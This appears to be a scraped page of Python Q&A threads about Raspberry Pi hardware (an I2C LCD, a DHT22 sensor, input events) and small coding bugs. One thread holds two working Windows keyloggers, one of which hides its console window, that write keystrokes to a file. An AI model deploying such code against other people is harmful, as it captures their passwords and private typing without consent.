Python I2C LCD Driver displays weird characters - python

I have a 2 x 16 LCD display with the I2C piggy back adapter. As a simple start I'm just displaying the encoder value. However, when I turn the encoder I get weird text written on the lcd in different areas. Also sometime the display recovers and just displays "Encoder: X" with an empty second line:
The code
#!/usr/bin/python3 -u
import time
import RPi.GPIO as GPIO
import lcd_i2c
from encoder import Encoder
GPIO.setmode(GPIO.BCM)
switch_pin = 13
encoder_down_pin = 6
encoder_up_pin = 5
GPIO.setup(switch_pin, GPIO.IN, pull_up_down=GPIO.PUD_UP)
encoder_value = 0
mylcd = lcd_i2c.lcd()
def valueChanged(value):
encoder_value = value
print(encoder_value)
mylcd.lcd_clear()
mylcd.lcd_display_string(f"Encoder: {encoder_value}", 1)
e1 = Encoder(encoder_down_pin, encoder_up_pin, callback=valueChanged)
while True:
time.sleep(60)
# lcd_i2c.py
# -*- coding: utf-8 -*-
# Original code found at:
# https://gist.github.com/DenisFromHR/cc863375a6e19dce359d
"""
Compiled, mashed and generally mutilated 2014-2015 by Denis Pleic
Made available under GNU GENERAL PUBLIC LICENSE
# Modified Python I2C library for Raspberry Pi
# as found on http://www.recantha.co.uk/blog/?p=4849
# Joined existing 'i2c_lib.py' and 'lcddriver.py' into a single library
# added bits and pieces from various sources
# By DenisFromHR (Denis Pleic)
# 2015-02-10, ver 0.1
"""
# i2c bus (0 -- original Pi, 1 -- Rev 2 Pi)
I2CBUS = 1
# LCD Address
ADDRESS = 0x27
import smbus
from time import sleep
class i2c_device:
def __init__(self, addr, port=I2CBUS):
self.addr = addr
self.bus = smbus.SMBus(port)
# Write a single command
def write_cmd(self, cmd):
self.bus.write_byte(self.addr, cmd)
sleep(0.0001)
# Write a command and argument
def write_cmd_arg(self, cmd, data):
self.bus.write_byte_data(self.addr, cmd, data)
sleep(0.0001)
# Write a block of data
def write_block_data(self, cmd, data):
self.bus.write_block_data(self.addr, cmd, data)
sleep(0.0001)
# Read a single byte
def read(self):
return self.bus.read_byte(self.addr)
# Read
def read_data(self, cmd):
return self.bus.read_byte_data(self.addr, cmd)
# Read a block of data
def read_block_data(self, cmd):
return self.bus.read_block_data(self.addr, cmd)
# commands
LCD_CLEARDISPLAY = 0x01
LCD_RETURNHOME = 0x02
LCD_ENTRYMODESET = 0x04
LCD_DISPLAYCONTROL = 0x08
LCD_CURSORSHIFT = 0x10
LCD_FUNCTIONSET = 0x20
LCD_SETCGRAMADDR = 0x40
LCD_SETDDRAMADDR = 0x80
# flags for display entry mode
LCD_ENTRYRIGHT = 0x00
LCD_ENTRYLEFT = 0x02
LCD_ENTRYSHIFTINCREMENT = 0x01
LCD_ENTRYSHIFTDECREMENT = 0x00
# flags for display on/off control
LCD_DISPLAYON = 0x04
LCD_DISPLAYOFF = 0x00
LCD_CURSORON = 0x02
LCD_CURSOROFF = 0x00
LCD_BLINKON = 0x01
LCD_BLINKOFF = 0x00
# flags for display/cursor shift
LCD_DISPLAYMOVE = 0x08
LCD_CURSORMOVE = 0x00
LCD_MOVERIGHT = 0x04
LCD_MOVELEFT = 0x00
# flags for function set
LCD_8BITMODE = 0x10
LCD_4BITMODE = 0x00
LCD_2LINE = 0x08
LCD_1LINE = 0x00
LCD_5x10DOTS = 0x04
LCD_5x8DOTS = 0x00
# flags for backlight control
LCD_BACKLIGHT = 0x08
LCD_NOBACKLIGHT = 0x00
En = 0b00000100 # Enable bit
Rw = 0b00000010 # Read/Write bit
Rs = 0b00000001 # Register select bit
class lcd:
#initializes objects and lcd
def __init__(self):
self.lcd_device = i2c_device(ADDRESS)
self.lcd_write(0x03)
self.lcd_write(0x03)
self.lcd_write(0x03)
self.lcd_write(0x02)
self.lcd_write(LCD_FUNCTIONSET | LCD_2LINE | LCD_5x8DOTS | LCD_4BITMODE)
self.lcd_write(LCD_DISPLAYCONTROL | LCD_DISPLAYON)
self.lcd_write(LCD_CLEARDISPLAY)
self.lcd_write(LCD_ENTRYMODESET | LCD_ENTRYLEFT)
sleep(0.2)
# clocks EN to latch command
def lcd_strobe(self, data):
self.lcd_device.write_cmd(data | En | LCD_BACKLIGHT)
sleep(.0005)
self.lcd_device.write_cmd(((data & ~En) | LCD_BACKLIGHT))
sleep(.0001)
def lcd_write_four_bits(self, data):
self.lcd_device.write_cmd(data | LCD_BACKLIGHT)
self.lcd_strobe(data)
# write a command to lcd
def lcd_write(self, cmd, mode=0):
self.lcd_write_four_bits(mode | (cmd & 0xF0))
self.lcd_write_four_bits(mode | ((cmd << 4) & 0xF0))
# write a character to lcd (or character rom) 0x09: backlight | RS=DR<
# works!
def lcd_write_char(self, charvalue, mode=1):
self.lcd_write_four_bits(mode | (charvalue & 0xF0))
self.lcd_write_four_bits(mode | ((charvalue << 4) & 0xF0))
# put string function with optional char positioning
def lcd_display_string(self, string, line=1, pos=0):
if line == 1:
pos_new = pos
elif line == 2:
pos_new = 0x40 + pos
elif line == 3:
pos_new = 0x14 + pos
elif line == 4:
pos_new = 0x54 + pos
self.lcd_write(0x80 + pos_new)
for char in string:
self.lcd_write(ord(char), Rs)
# clear lcd and set to home
def lcd_clear(self):
self.lcd_write(LCD_CLEARDISPLAY)
self.lcd_write(LCD_RETURNHOME)
# define backlight on/off (lcd.backlight(1); off= lcd.backlight(0)
def backlight(self, state): # for state, 1 = on, 0 = off
if state == 1:
self.lcd_device.write_cmd(LCD_BACKLIGHT)
elif state == 0:
self.lcd_device.write_cmd(LCD_NOBACKLIGHT)
# add custom characters (0 - 7)
def lcd_load_custom_chars(self, fontdata):
self.lcd_write(0x40);
for char in fontdata:
for line in char:
self.lcd_write_char(line)
# encoder.py
# Class to monitor a rotary encoder and update a value. You can either read the value when you need it, by calling getValue(), or
# you can configure a callback which will be called whenever the value changes.
import RPi.GPIO as GPIO
class Encoder:
def __init__(self, leftPin, rightPin, callback=None):
self.leftPin = leftPin
self.rightPin = rightPin
self.value = 0
self.state = '00'
self.direction = None
self.callback = callback
GPIO.setup(self.leftPin, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
GPIO.setup(self.rightPin, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
GPIO.add_event_detect(self.leftPin, GPIO.BOTH, callback=self.transitionOccurred)
GPIO.add_event_detect(self.rightPin, GPIO.BOTH, callback=self.transitionOccurred)
def transitionOccurred(self, channel):
p1 = GPIO.input(self.leftPin)
p2 = GPIO.input(self.rightPin)
newState = "{}{}".format(p1, p2)
if self.state == "00": # Resting position
if newState == "01": # Turned right 1
self.direction = "R"
elif newState == "10": # Turned left 1
self.direction = "L"
elif self.state == "01": # R1 or L3 position
if newState == "11": # Turned right 1
self.direction = "R"
elif newState == "00": # Turned left 1
if self.direction == "L":
self.value = self.value - 1
if self.callback is not None:
self.callback(self.value)
elif self.state == "10": # R3 or L1
if newState == "11": # Turned left 1
self.direction = "L"
elif newState == "00": # Turned right 1
if self.direction == "R":
self.value = self.value + 1
if self.callback is not None:
self.callback(self.value)
else: # self.state == "11"
if newState == "01": # Turned left 1
self.direction = "L"
elif newState == "10": # Turned right 1
self.direction = "R"
elif newState == "00": # Skipped an intermediate 01 or 10 state, but if we know direction then a turn is complete
if self.direction == "L":
self.value = self.value - 1
if self.callback is not None:
self.callback(self.value)
elif self.direction == "R":
self.value = self.value + 1
if self.callback is not None:
self.callback(self.value)
self.state = newState
def getValue(self):
return self.value
Credits for the i2c lcd script go to its author DenisFromHR

Your LCD module is internally using a 4-bit interface mode; each byte of command or data is written in two 4-bit chunks. There's no way to tell which chunk is expected next, and no way to force the start of a new byte other than completely reinitializing the LCD - you just have to be careful to always send the chunks in pairs. If you ever lose one of the chunks, the LCD is going to display gibberish from that point onward (until another chunk gets lost), since the bytes it's receiving would consist of halves from two different bytes that were sent.
And that's exactly what's going wrong here. This is the first few bytes of the "Encoder:" message, in hex:
45 6E 63 6F 64 65 72 3A
And this is the start of the repeated garbage string you're getting, again in hex:
56 E6 36 F6 46 57 23 A2
Note that it's exactly the same data, just shifted over by one hex digit.
I see no obvious reason why this would be happening, but the first thing I'd try is increasing those sleep()s in lcd_strobe() by a factor of 100 or so, in case they're not long enough for the chunk to be reliably read by the LCD module.

I did get rid of the issue. It seems to be a problem to update the lcd from within a callback. So how I solved the issue is by merely changing the state of the program and to regularly check for updates in that state and then display the results accordingly:
#!/usr/bin/python3 -u
import os
import time
import RPi.GPIO as GPIO
import lcd_i2c
from encoder import Encoder
GPIO.setmode(GPIO.BCM)
os.system('say start')
switch_pin = 13
encoder_down_pin = 6
encoder_up_pin = 5
encoder_value = 0
dirty = True
pressed = True
mylcd = lcd_i2c.lcd()
def switch_pressed(v):
global pressed, dirty
print("OK")
pressed = True
dirty = True
GPIO.setup(switch_pin, GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.add_event_detect(switch_pin, GPIO.FALLING)
GPIO.add_event_callback(switch_pin, switch_pressed)
def update():
global encoder_value, dirty, pressed
if not dirty: return
mylcd.lcd_clear()
mylcd.lcd_display_string(f"Encoder: {encoder_value}", 1)
if pressed:
mylcd.lcd_display_string("Pressed", 2)
pressed = False
dirty = False
def valueChanged(value):
global encoder_value
global dirty
dirty = True
encoder_value = max(0, value)
print(encoder_value)
e1 = Encoder(encoder_down_pin, encoder_up_pin, callback=valueChanged)
update()
try:
while True:
update()
time.sleep(.5)
finally:
print("Cleanup")
GPIO.cleanup()
I'm using a variable called dirty to determine if the display should be updated. This prevents the display from flickering.

Does that piggyback use 5v logic levels or 3.3v? This looks to me like either
a floating clock/data line(s) (maybe check with a scope whether they are correctly pulled up by the Pi's pullup resistors)
mismatching logic levels. It the device expects "high" to be 5v, but the RPi pulls it up to 3.3v, strange behaviour can occur when the bus is idle, as the device may interpret the 3.3v as if the master pulled the bus low.
This document describes what you should expect electrically

Related

Input of PIGPIO into InfluxDB for Grafana

since i didnt really get the Adafruit-Library going to read the sensor correctly, i started using PIGPIO to read the DHT22. It works and i can see the Temperature and Humidity. My problem is now, how do i get those values into InfluxDB to use them in Grafana.
I already installed my DB and connected it with Grafana and made a DB called temp. The connection worked, now i just need to input some data.
!/usr/bin/env python
# 2014-07-11 DHT22.py
import time
import atexit
import pigpio
class sensor:
"""
A class to read relative humidity and temperature from the
DHT22 sensor. The sensor is also known as the AM2302.
The sensor can be powered from the Pi 3V3 or the Pi 5V rail.
Powering from the 3V3 rail is simpler and safer. You may need
to power from 5V if the sensor is connected via a long cable.
For 3V3 operation connect pin 1 to 3V3 and pin 4 to ground.
Connect pin 2 to a gpio.
For 5V operation connect pin 1 to 5V and pin 4 to ground.
The following pin 2 connection works for me. Use at YOUR OWN RISK.
5V--5K_resistor--+--10K_resistor--Ground
|
DHT22 pin 2 -----+
|
gpio ------------+
"""
def __init__(self, pi, gpio, LED=None, power=None):
"""
Instantiate with the Pi and gpio to which the DHT22 output
pin is connected.
Optionally a LED may be specified. This will be blinked for
each successful reading.
Optionally a gpio used to power the sensor may be specified.
This gpio will be set high to power the sensor. If the sensor
locks it will be power cycled to restart the readings.
Taking readings more often than about once every two seconds will
eventually cause the DHT22 to hang. A 3 second interval seems OK.
"""
self.pi = pi
self.gpio = gpio
self.LED = LED
self.power = power
if power is not None:
pi.write(power, 1) # Switch sensor on.
time.sleep(2)
self.powered = True
self.cb = None
atexit.register(self.cancel)
self.bad_CS = 0 # Bad checksum count.
self.bad_SM = 0 # Short message count.
self.bad_MM = 0 # Missing message count.
self.bad_SR = 0 # Sensor reset count.
# Power cycle if timeout > MAX_TIMEOUTS.
self.no_response = 0
self.MAX_NO_RESPONSE = 2
self.rhum = -999
self.temp = -999
self.tov = None
self.high_tick = 0
self.bit = 40
pi.set_pull_up_down(gpio, pigpio.PUD_OFF)
pi.set_watchdog(gpio, 0) # Kill any watchdogs.
self.cb = pi.callback(gpio, pigpio.EITHER_EDGE, self._cb)
def _cb(self, gpio, level, tick):
"""
Accumulate the 40 data bits. Format into 5 bytes, humidity high,
humidity low, temperature high, temperature low, checksum.
"""
diff = pigpio.tickDiff(self.high_tick, tick)
if level == 0:
# Edge length determines if bit is 1 or 0.
if diff >= 50:
val = 1
if diff >= 200: # Bad bit?
self.CS = 256 # Force bad checksum.
else:
val = 0
if self.bit >= 40: # Message complete.
self.bit = 40
elif self.bit >= 32: # In checksum byte.
self.CS = (self.CS << 1) + val
if self.bit == 39:
# 40th bit received.
self.pi.set_watchdog(self.gpio, 0)
self.no_response = 0
total = self.hH + self.hL + self.tH + self.tL
if (total & 255) == self.CS: # Is checksum ok?
self.rhum = ((self.hH << 8) + self.hL) * 0.1
if self.tH & 128: # Negative temperature.
mult = -0.1
self.tH = self.tH & 127
else:
mult = 0.1
self.temp = ((self.tH << 8) + self.tL) * mult
self.tov = time.time()
if self.LED is not None:
self.pi.write(self.LED, 0)
else:
self.bad_CS += 1
elif self.bit >= 24: # in temp low byte
self.tL = (self.tL << 1) + val
elif self.bit >= 16: # in temp high byte
self.tH = (self.tH << 1) + val
elif self.bit >= 8: # in humidity low byte
self.hL = (self.hL << 1) + val
elif self.bit >= 0: # in humidity high byte
self.hH = (self.hH << 1) + val
else: # header bits
pass
self.bit += 1
elif level == 1:
self.high_tick = tick
if diff > 250000:
self.bit = -2
self.hH = 0
self.hL = 0
self.tH = 0
self.tL = 0
self.CS = 0
else: # level == pigpio.TIMEOUT:
self.pi.set_watchdog(self.gpio, 0)
if self.bit < 8: # Too few data bits received.
self.bad_MM += 1 # Bump missing message count.
self.no_response += 1
if self.no_response > self.MAX_NO_RESPONSE:
self.no_response = 0
self.bad_SR += 1 # Bump sensor reset count.
if self.power is not None:
self.powered = False
self.pi.write(self.power, 0)
time.sleep(2)
self.pi.write(self.power, 1)
time.sleep(2)
self.powered = True
elif self.bit < 39: # Short message receieved.
self.bad_SM += 1 # Bump short message count.
self.no_response = 0
else: # Full message received.
self.no_response = 0
def temperature(self):
"""Return current temperature."""
return self.temp
def humidity(self):
"""Return current relative humidity."""
return self.rhum
def staleness(self):
"""Return time since measurement made."""
if self.tov is not None:
return time.time() - self.tov
else:
return -999
def bad_checksum(self):
"""Return count of messages received with bad checksums."""
return self.bad_CS
def short_message(self):
"""Return count of short messages."""
return self.bad_SM
def missing_message(self):
"""Return count of missing messages."""
return self.bad_MM
def sensor_resets(self):
"""Return count of power cycles because of sensor hangs."""
return self.bad_SR
def trigger(self):
"""Trigger a new relative humidity and temperature reading."""
if self.powered:
if self.LED is not None:
self.pi.write(self.LED, 1)
self.pi.write(self.gpio, pigpio.LOW)
time.sleep(0.017) # 17 ms
self.pi.set_mode(self.gpio, pigpio.INPUT)
self.pi.set_watchdog(self.gpio, 200)
def cancel(self):
"""Cancel the DHT22 sensor."""
self.pi.set_watchdog(self.gpio, 0)
if self.cb is not None:
self.cb.cancel()
self.cb = None
if __name__ == "__main__":
import time
import pigpio
import DHT22
# Intervals of about 2 seconds or less will eventually hang the DHT22.
INTERVAL = 3
pi = pigpio.pi()
s = DHT22.sensor(pi, 2, LED=16, power=8)
r = 0
next_reading = time.time()
while True:
r += 1
s.trigger()
time.sleep(0.2)
print("{} {} {} {:3.2f} {} {} {} {}".format(
r, s.humidity(), s.temperature(), s.staleness(),
s.bad_checksum(), s.short_message(), s.missing_message(),
s.sensor_resets()))
next_reading += INTERVAL
time.sleep(next_reading-time.time()) # Overall INTERVAL second polling.
s.cancel()
pi.stop()

How to change "ON/OFF" string data into 0/1?

I am monitoring and controlling a smart light bulb from my dashboard(User Interface Dashboard) and every time I open or close the light bulb it sends back a data that shows the light bulb is on or off, what I want to do is to change this "ON/OFF" data string in to binary of 1/0, is there anyway I can get 1 or 0 instead of 'ON/OFF'.
this is some of the API code I have used to control the light bulb
def identifyDevice(self):
identifyDeviceResult = False
print(" {0}Agent for {1} is identifying itself by doing colorloop. Please observe your lights"
.format(self.variables.get('agent_id', None), self.variables.get('model', None)))
try:
devicewasoff = 0
if self.get_variable('status') == "OFF":
devicewasoff = 1
self.setDeviceStatus({"status": "ON"})
elif self.only_white_bulb:
self.setDeviceStatus({"status": "OFF"})
if self.only_white_bulb is False:
self.setDeviceStatus({"effect": "colorloop"})
if self.only_white_bulb:
time_iden = 3
else:
time_iden = 10 # time to do identification
t0 = time.time()
self.seconds = time_iden
while time.time() - t0 <= time_iden:
self.seconds = self.seconds - 1
print("wait: {} sec".format(self.seconds))
time.sleep(1)
self.setDeviceStatus({"effect": "none"})
if devicewasoff == 1:
self.setDeviceStatus({"status": "OFF"})
else:
self.setDeviceStatus({"status": "ON"})
identifyDeviceResult = True
except:
print("ERROR: classAPI_PhilipsHue connection failure! # identifyDevice")
return identifyDeviceResult
If you can guarantee that the returned value is always one of 'ON' or 'OFF', you can use the fact that True and 1 are interchangeable
result = state == 'ON'
If you need some error handling, something like this might work.
if state in {'ON', 'OFF'}:
result = state == 'ON'
else:
# handle error state
If you need an int to serialise, call int with the result
>>> state_on = 'ON'
>>> state_off = 'OFF'
>>> int(state_on == 'ON')
1
>>> int(state_off == 'ON')
0

Keylogging using python on windows

My attempt is as below, it captures well when i'm typing, but sucks if multiple key pressed. It only capture the first pressed key.
I removed all unrelated to keylogging.
import win32console
import win32gui
import pythoncom, pyHook
import threading
import pickle
class keylogger(object):
def init(self, ifPrintDetail = False):
self.keylog_enable = False
self.ifPrintDetail = ifPrintDetail
self.log = ''
def KeyEvent(self, event):
if self.keylog_enable:
self.log += event.Key
if self.ifPrintDetail:
print ('MessageName:',event.MessageName )
print ('Message:',event.Message)
print ('Time:',event.Time)
print ('Window:',event.Window)
print ('WindowName:',event.WindowName)
print ('Ascii:', event.Ascii, chr(event.Ascii) )
print ('Key:', event.Key)
print ('KeyID:', event.KeyID)
print ('ScanCode:', event.ScanCode)
print ('Extended:', event.Extended)
print ('Injected:', event.Injected)
print ('Alt', event.Alt)
print ('Transition', event.Transition)
print ('---')
elif event.MessageName == 'key down':
print(event.Key, end='')
def threadkeylog(self):
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
# create a hook manager object for both key up and down
self.hm=pyHook.HookManager()
#i want both up and down key event
self.hm.KeyDown = self.KeyEvent
self.hm.KeyUp = self.KeyEvent
# set the hook
self.hm.HookKeyboard()
#start sending messages, this seems not to stop except WM_QUIT
pythoncom.PumpMessages()
def go(self):
#build and start a thread
self.keylog_enable = True
self.threadkl = threading.Thread(target = self.threadkeylog)
self.threadkl.start()
def pause(self):
self.keylog_enable = False
def save(self):
pickle.dump(self.log, open('keylog.txt', 'wb'))
You may use it with
kl = keylogger()
kl.init()
kl.go()#build and run a thread
kl.pause()#"pause" the thread
kl.save()#will save what you have typed to a file in working directory
print(pickle.load(open('keylog.txt', "rb")))#take a look at it
I do this to collect key log of myself playing car racing game, for training data of my machine learning project. So, say, if I control my racing car with simple "WASD" buttons, I would probably hold "W" and "A" to turn left and accelerate. So, I would like to have both of them captured at the same time, but those keys conflicts, and it capture only one character.
Using ctypes alone you can make quite an effective keylogger.
ctypes allows you to check if a key is currently pressed, or toggled.
If you set up a dictionary where all the keys are virtual keycodes and all of the values are the keycode's respective string character then you can iterate through the dictionary, and check if the key is pressed.
Having another dictionary called TrackedKeys which is empty, you can just set TrackedKeys[key] = The bool returned by the ctypes function which sees if a key is pressed when you are ticking in your "main loop" (A while true in the main python file).
then when you update the value of trackedkeys before doing so you can see if the value in trackedkey is different from the value returned by ctypes checking if a key is pressed, and if it is then call a function and pass either "key up" or "key down" to that function.
import threading, time
from ctypes import *
class Thread():
def __init__(self, addressOf, args):
self.terminate = False
self.Instance = threading.Thread(target=addressOf, args=args)
self.Instance.daemon = True
self.Instance.start()
VKStr = {}
VKStr[0x01] = "LEFT_MOUSEE"
VKStr[0x02] = "RIGHT_MOUSE"
VKStr[0x03] = "MIDDLE_MOUSE"
VKStr[0x08] = "BACKSPACE"
VKStr[0x09] = "TAB"
VKStr[0x0D] = "ENTER"
VKStr[0x10] = "SHIFT"
VKStr[0x11] = "CTRL"
VKStr[0x12] = "ALT"
VKStr[0x14] = "CAPSLOCK"
VKStr[0x18] = "ESCAPE"
VKStr[0x20] = " "
VKStr[0x25] = "LEFT_ARROW"
VKStr[0x26] = "UP_ARROW"
VKStr[0x27] = "RIGHT_ARROW"
VKStr[0x28] = "DOWN_ARROW"
VKStr[0x2C] = "PRINT_SCREEN"
VKStr[0x30] = "0"
VKStr[0x31] = "1"
VKStr[0x32] = "2"
VKStr[0x33] = "3"
VKStr[0x34] = "4"
VKStr[0x35] = "5"
VKStr[0x36] = "6"
VKStr[0x37] = "7"
VKStr[0x38] = "8"
VKStr[0x39] = "9"
VKStr[0x41] = "a"
VKStr[0x42] = "b"
VKStr[0x43] = "c"
VKStr[0x44] = "d"
VKStr[0x45] = "e"
VKStr[0x46] = "f"
VKStr[0x47] = "g"
VKStr[0x48] = "h"
VKStr[0x49] = "i"
VKStr[0x4A] = "j"
VKStr[0x4B] = "k"
VKStr[0x4C] = "l"
VKStr[0x4D] = "m"
VKStr[0x4E] = "n"
VKStr[0x4F] = "o"
VKStr[0x50] = "p"
VKStr[0x51] = "q"
VKStr[0x52] = "r"
VKStr[0x53] = "s"
VKStr[0x54] = "t"
VKStr[0x55] = "u"
VKStr[0x56] = "v"
VKStr[0x57] = "w"
VKStr[0x58] = "x"
VKStr[0x59] = "y"
VKStr[0x5A] = "z"
ShiftEquivs={}
ShiftEquivs[0x30] = ")"
ShiftEquivs[0x31] = "!"
ShiftEquivs[0x32] = "\""
ShiftEquivs[0x33] = "£"
ShiftEquivs[0x34] = "$"
ShiftEquivs[0x35] = "%"
ShiftEquivs[0x36] = "^"
ShiftEquivs[0x37] = "&"
ShiftEquivs[0x38] = "*"
ShiftEquivs[0x39] = "("
ActiveKeys = {}
def StringToVK(string):
for key, value in VKStr.items():
if value == string:
return key
def VKToString(VK):
return VKStr[VK]
def IsKeyPressed(VK_KEYCODE):
if type(VK_KEYCODE) == str:
try:
VK_KEYCODE = StringToVK(VK_KEYCODE)
except:
raise Exception("Exception caught in sub: 'IsKeyPressed' arg VK_KEYCODE is invalid")
return
return windll.user32.GetKeyState(c_int(VK_KEYCODE)) & 0x8000 != 0
def IsKeyToggled(VK_KEYCODE):
return windll.user32.GetKeyState(c_int(VK_KEYCODE)) & 0x0001 != 0
class KeyTracker:
def __init__(self):
self.tracking = False
self.tracked_string_concat = ""
self.file_open = False
def StartTracking(self):
self.tracking = True
def StopTracking(self):
self.tracking = False
self.CompileData()
def KeyDown(self, key):
if self.tracking and VKToString(key) != "SHIFT":
if IsKeyToggled(StringToVK("CAPSLOCK")):
self.tracked_string_concat = self.tracked_string_concat + VKToString(key).upper()
elif IsKeyPressed(StringToVK("SHIFT")):
shiftEquiv = False
try:
ShiftEquivs[key]
shiftEquiv = True
except:
pass
if shiftEquiv:
self.tracked_string_concat = self.tracked_string_concat + ShiftEquivs[key]
else:
self.tracked_string_concat = self.tracked_string_concat + VKToString(key).upper()
else:
self.tracked_string_concat = self.tracked_string_concat + VKToString(key)
def KeyUp(self, key):
if self.tracking and VKToString(key) == "SHIFT":
#self.tracked_string_concat = self.tracked_string_concat + VKToString(key)
pass
def UpdateKeyState(self, key, state):
def SetKeyState(key, state):
ActiveKeys[key] = state
if state == True:
self.KeyDown(key)
elif state == False:
self.KeyUp(key)
keyExists = False
try:
ActiveKeys[key]
keyExists = True
except:
pass
if keyExists:
if ActiveKeys[key] != state:
SetKeyState(key, state)
else:
SetKeyState(key, state)
def CompileData(self):
try:
file = open("logger_data.txt", "a")
file.write("\n")
file.write("-"*15)
file.write("\n")
file.write(self.tracked_string_concat)
file.close()
except:
pass
def TrackData(self, time_length): #timeLength in seconds
KeyTracker.StartTracking()
time.sleep(time_length)
KeyTracker.StopTracking()
KeyTracker = KeyTracker()
t = Thread(KeyTracker.TrackData, [5])
while True:
for key, key_name in VKStr.items():
KeyTracker.UpdateKeyState(key, IsKeyPressed(key))
change the argument passed to the thread stored in the variable t to change how long your keylogger records data for, 5 is just a short testing value.

My Python interpreter for Self-modifying Brainf*** has a bug

I wrote this Python interpreter for a language called Self-modifying Brainf*** (SMBF). Today I discovered a bug where if the program dynamically creates code at the initial cell or after on the tape, it will not be executed. I wrote this interpreter to look as close as possible to the Ruby interpreter on the linked page. Note that this bug may exist in the original Ruby interpreter, too. I don't know, I haven't used it.
The way SMBF is different from normal BF is that the source code is placed on the tape to the left of the cell that the pointer starts at. So the program <. would print the last character of the source (a period). This works.
Note that I trimmed some code out so it's still runnable but takes less space in this post.
The interpreter:
from __future__ import print_function
import os, sys
class Tape(bytearray):
def __init__(self):
self.data = bytearray(b'\0' * 1000)
self.center = len(self.data) // 2
def __len__(self):
return len(self.data)
def __getitem__(self, index):
try:
return self.data[index + self.center]
except:
return 0
def __setitem__(self, index, val):
i = index + self.center
if i < 0 or i >= len(self.data):
# resize the data array to be large enough
new_size = len(self.data)
while True:
new_size *= 2
test_index = index + (new_size // 2)
if test_index >= 0 and test_index < new_size:
# array is big enough now
break
# generate the new array
new_data = bytearray(b'\0' * new_size)
new_center = new_size // 2
# copy old data into new array
for j in range(0, len(self.data)):
new_data[j - self.center + new_center] = self.data[j]
self.data = new_data
self.center = new_center
self.data[index + self.center] = val & 0xff
class Interpreter():
def __init__(self, data):
self.tape = Tape()
# copy the data into the tape
for i in range(0, len(data)):
self.tape[i - len(data)] = data[i]
# program start point
self.entrypoint = -len(data)
def call(self):
pc = self.entrypoint
ptr = 0
# same as -len(self.tape) // 2 <= pc + self.tape.center < len(self.tape) // 2
while -len(self.tape) <= pc < 0: # used to be "while pc < 0:"
c = chr(self.tape[pc])
if c == '>':
ptr += 1
elif c == '<':
ptr -= 1
elif c == '+':
self.tape[ptr] += 1
elif c == '-':
self.tape[ptr] -= 1
elif c == '.':
print(chr(self.tape[ptr]), end="")
elif c == ',':
sys.stdin.read(1)
elif c == '[':
if self.tape[ptr] == 0:
# advance to end of loop
loop_level = 1
while loop_level > 0:
pc += 1
if chr(self.tape[pc]) == '[': loop_level += 1
elif chr(self.tape[pc]) == ']': loop_level -= 1
elif c == ']':
# rewind to the start of the loop
loop_level = 1
while loop_level > 0:
pc -= 1
if chr(self.tape[pc]) == '[': loop_level -= 1
elif chr(self.tape[pc]) == ']': loop_level += 1
pc -= 1
pc += 1
# DEBUG
#print(pc, self.tape.data.find(b'.'))
def main():
# Working "Hello, World!" program.
#data = bytearray(b'<[.<]>>>>>>>>+\x00!dlroW ,olleH')
# Should print a period, but doesn't.
data = bytearray(b'>++++++++++++++++++++++++++++++++++++++++++++++')
intr = Interpreter(data)
intr.call()
#print(intr.tape.data.decode('ascii').strip('\0'))
if __name__ == "__main__":
main()
The problem:
This line is how I set the program (so I can run this on Ideone.com):
data = bytearray(b'++++++++++++++++++++++++++++++++++++++++++++++')
The program adds to the cell until it is 46, which is the decimal value for an ASCII ., which should print the current cell (a period). But for some reason, the program counter pc never gets to that cell. I want the program to run all code it finds until it hits the end of the tape, but I'm having a hard time getting the program counter to take into account the center of the tape, and ensure that it's still correct if the tape is resized in __setitem__.
The relevant line is (what I was trying out):
while -len(self.tape) <= pc < 0:
which was originally this:
while pc < 0:
So I think that the while line either needs to be adjusted, or I need to change it to while True: and just use a try/except while getting chr(self.tape[pc]) to determine if I've hit the end of the tape.
Does anyone see what is wrong or how to fix it?
Found a solution thanks to Sp3000.
self.end = 0 in Tape.__init__, self.end = max(self.end, index+1) in Tape.__setitem__ and replace the while in Interpreter.call with while pc < self.tape.end:.

epoll() for /dev/input device?

I am working with events coming from /dev/input/event0, buttons. I'm currently polling in an infinite loop but would prefer to wait for an event.
import struct
# https://docs.python.org/3/library/struct.html#format-characters
FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(FORMAT)
EV_KEY = 0x01
KEY_UP = 0
KEY_DOWN = 1
KEY_AUTO = 2
with open('/dev/input/event0', 'rb') as infile:
state = 0
while True:
event = infile.read(EVENT_SIZE)
(tv_sec, tv_usec, typ, code, value) = struct.unpack(FORMAT, event)
if 0 == state:
if EV_KEY == typ and KEY_DOWN == value:
print('You pressed a button')
state = 1
elif 1 == state:
if EV_KEY == typ and KEY_UP == value:
print('You released a button')
state = 0
Can I use epoll() with python to accomplish this in much less code?

Categories

Resources